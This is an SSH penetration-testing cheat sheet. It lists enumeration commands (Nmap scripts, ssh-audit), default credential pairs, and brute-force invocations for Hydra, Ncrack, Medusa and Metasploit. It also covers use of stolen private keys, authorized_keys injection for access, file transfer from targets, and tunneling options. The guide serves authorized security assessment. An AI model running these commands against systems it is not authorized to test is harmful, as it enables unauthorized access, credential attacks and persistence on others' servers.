SSH penetration testing guide covering banner and version enumeration, authentication method detection, credential brute-forcing, key-based auth testing, vulnerability assessment, and SSH tunneling for pivoting using tools like Nmap, Hydra, and ssh-audit for security assessments and ethical hacking.
SSH (Secure Shell) runs on port 22 and provides encrypted remote login and command execution. SSH services are high-value targets: misconfigurations, default or weak credentials, stolen or weak keys, and legacy algorithms can lead to unauthorized access, and SSH tunneling is commonly used for pivoting and persistence.
Netcat:
nc $RHOST 22
echo "" | nc $RHOST 22
Telnet:
telnet $RHOST 22
Banner extraction:
timeout 3 nc $RHOST 22 2>/dev/null
The banner typically includes the SSH server software and version (e.g. SSH-2.0-OpenSSH_8.2p1), which is useful for CVE checks.
Nmap service scan:
nmap -sV -p 22 $RHOST
nmap -sC -sV -p 22 $RHOST
Default safe scripts:
nmap --script "ssh-* and safe" -p 22 $RHOST
All SSH scripts:
nmap --script ssh-* -p 22 $RHOST
Common enumeration scripts:
nmap --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey -p 22 $RHOST
Vulnerability detection:
nmap --script ssh-vuln-* -p 22 $RHOST
Auth methods (optional username):
nmap --script ssh-auth-methods --script-args ssh.user=root -p 22 $RHOST
Enumerate supported key exchange, encryption, MAC, and compression algorithms to identify weak or legacy configurations.
Nmap:
nmap --script ssh2-enum-algos -p 22 $RHOST
ssh-audit (policy/compliance-style check):
ssh-audit $RHOST
ssh-audit -p 22 $RHOST
Weak or legacy algorithms (e.g. CBC ciphers, diffie-hellman-group1-sha1) may enable downgrade attacks or fail compliance. Note them for the vulnerability assessment section.
Determine which authentication methods the server accepts to choose the right attack (password vs. key, or both).
Nmap:
nmap --script ssh-auth-methods -p 22 $RHOST
nmap --script ssh-auth-methods --script-args ssh.user=root -p 22 $RHOST
Interpretation:
Nmap:
nmap --script ssh-hostkey -p 22 $RHOST
OpenSSH client (first connection):
ssh -o StrictHostKeyChecking=accept-new root@$RHOST
# Server key fingerprint is shown on first connect
Test common default SSH credentials before brute-forcing, especially on embedded devices, appliances, and default images.
Common combinations:
root:rootroot:toorroot:passwordroot:adminadmin:adminadministrator:administratorroot: (empty password)ubuntu:ubuntu (cloud images)pi:raspberry (Raspberry Pi default)oracle:oracle (Oracle Linux)vagrant:vagrant (Vagrant boxes)ssh root@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no admin@$RHOST
Hydra:
hydra -L users.txt -P passwords.txt ssh://$RHOST
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://$RHOST
hydra -L users.txt -P passwords.txt ssh://$RHOST -t 4
Ncrack:
ncrack -p 22 -U users.txt -P passwords.txt $RHOST
ncrack -p 22 -u root -P passwords.txt $RHOST
Medusa:
medusa -h $RHOST -u root -P passwords.txt -M ssh
medusa -h $RHOST -U users.txt -P passwords.txt -M ssh
Metasploit:
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS $RHOST
set USERPASS_FILE users_passwords.txt
run
Single user + wordlist (Metasploit):
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
Note: SSH brute force is noisy and may trigger lockouts or logging. Prefer credential reuse (e.g. from other services) or key-based testing when possible.
If you obtain a private key (e.g. from backup, share, or credential dump), test it against the target.
Connect with key:
chmod 600 id_rsa
ssh -i id_rsa user@$RHOST
ssh -i id_rsa -o PubkeyAuthentication=yes -o PreferredAuthentications=publickey user@$RHOST
If key is passphrase-protected: crack with ssh2john and John the Ripper or Hashcat, then use the key as above.
Try common usernames with same key:
for u in root admin ubuntu; do ssh -i id_rsa -o ConnectTimeout=5 -o BatchMode=yes $u@$RHOST && echo "Valid: $u"; done
If you have write access to a user’s home directory (e.g. via web upload, NFS, or another service), add your public key to ~/.ssh/authorized_keys to gain SSH access.
Append your public key:
# From compromised host or other vector
echo "ssh-rsa AAAA... your_pubkey" >> /home/victim/.ssh/authorized_keys
Ensure directory and file permissions (on target):
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Embedded devices and some appliances ship with default or known SSH host/user keys. Check for known keys in firmware or with tools that compare host keys against databases of default keys.
Manual check after obtaining key from firmware/image:
ssh -i default_key root@$RHOST
Nmap vulnerability scripts:
nmap --script ssh-vuln-* -p 22 $RHOST
Version check: Compare the banner or Nmap service version (e.g. OpenSSH 7.4, 8.2) against CVE databases and vendor advisories. Focus on RCE or auth-bypass issues for the detected version.
Servers that support legacy key exchange or ciphers may be vulnerable to downgrade or other attacks. Use enumeration results from Algorithm and Key Exchange Enumeration.
Review Nmap/ssh-audit output for:
Disable these on production systems; note them in the report for remediation.
SSH user enumeration is limited: valid vs. invalid username may differ in timing or in some configurations (e.g. “Permission denied” vs. “Invalid user”). Use with care and document limitations.
Timing or error-message comparison:
# Compare response/time for known-valid vs. known-invalid user
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no validuser@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no invaliduser@$RHOST
Once you have SSH access to a host, you can use it as a pivot to reach internal services or expose your listeners. Tunneling and pivoting are post-exploitation activities and are not covered in detail here.
For local port forwarding (-L), remote port forwarding (-R), see the dedicated guide:
SSH Tunneling — Post-exploitation tunneling with SSH
Download from target:
scp user@$RHOST:/path/to/remote/file /local/path/
scp -i id_rsa user@$RHOST:/path/to/file .
Upload to target:
scp /local/file user@$RHOST:/remote/path/
scp -i id_rsa /local/file user@$RHOST:/remote/path/
Recursive:
scp -r user@$RHOST:/remote/dir /local/path/
Interactive SFTP:
sftp user@$RHOST
sftp -i id_rsa user@$RHOST
Common SFTP commands: get, put, ls, cd, lcd, mget, mput, rm, mkdir, exit.
Recap of useful SSH script groups:
nmap --script "ssh-* and safe" -p 22 $RHOST
nmap --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey,ssh-vuln-* -p 22 $RHOST
SSH brute force:
hydra -L users.txt -P passwords.txt ssh://$RHOST
hydra -l root -P passwords.txt ssh://$RHOST -t 4
Policy and algorithm audit:
ssh-audit $RHOST
ssh-audit -p 22 $RHOST
Common options:
ssh -i id_rsa -o PreferredAuthentications=publickey user@$RHOST
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@$RHOST
ssh -v user@$RHOST
ssh -L 8080:127.0.0.1:80 user@$RHOST
ssh -D 1080 user@$RHOST
Generate key pair (for authorized_keys injection or testing):
ssh-keygen -t ed25519 -f mykey -N ""
ssh-keygen -t rsa -b 4096 -f mykey -N ""
Obtain public key for authorized_keys:
cat mykey.pub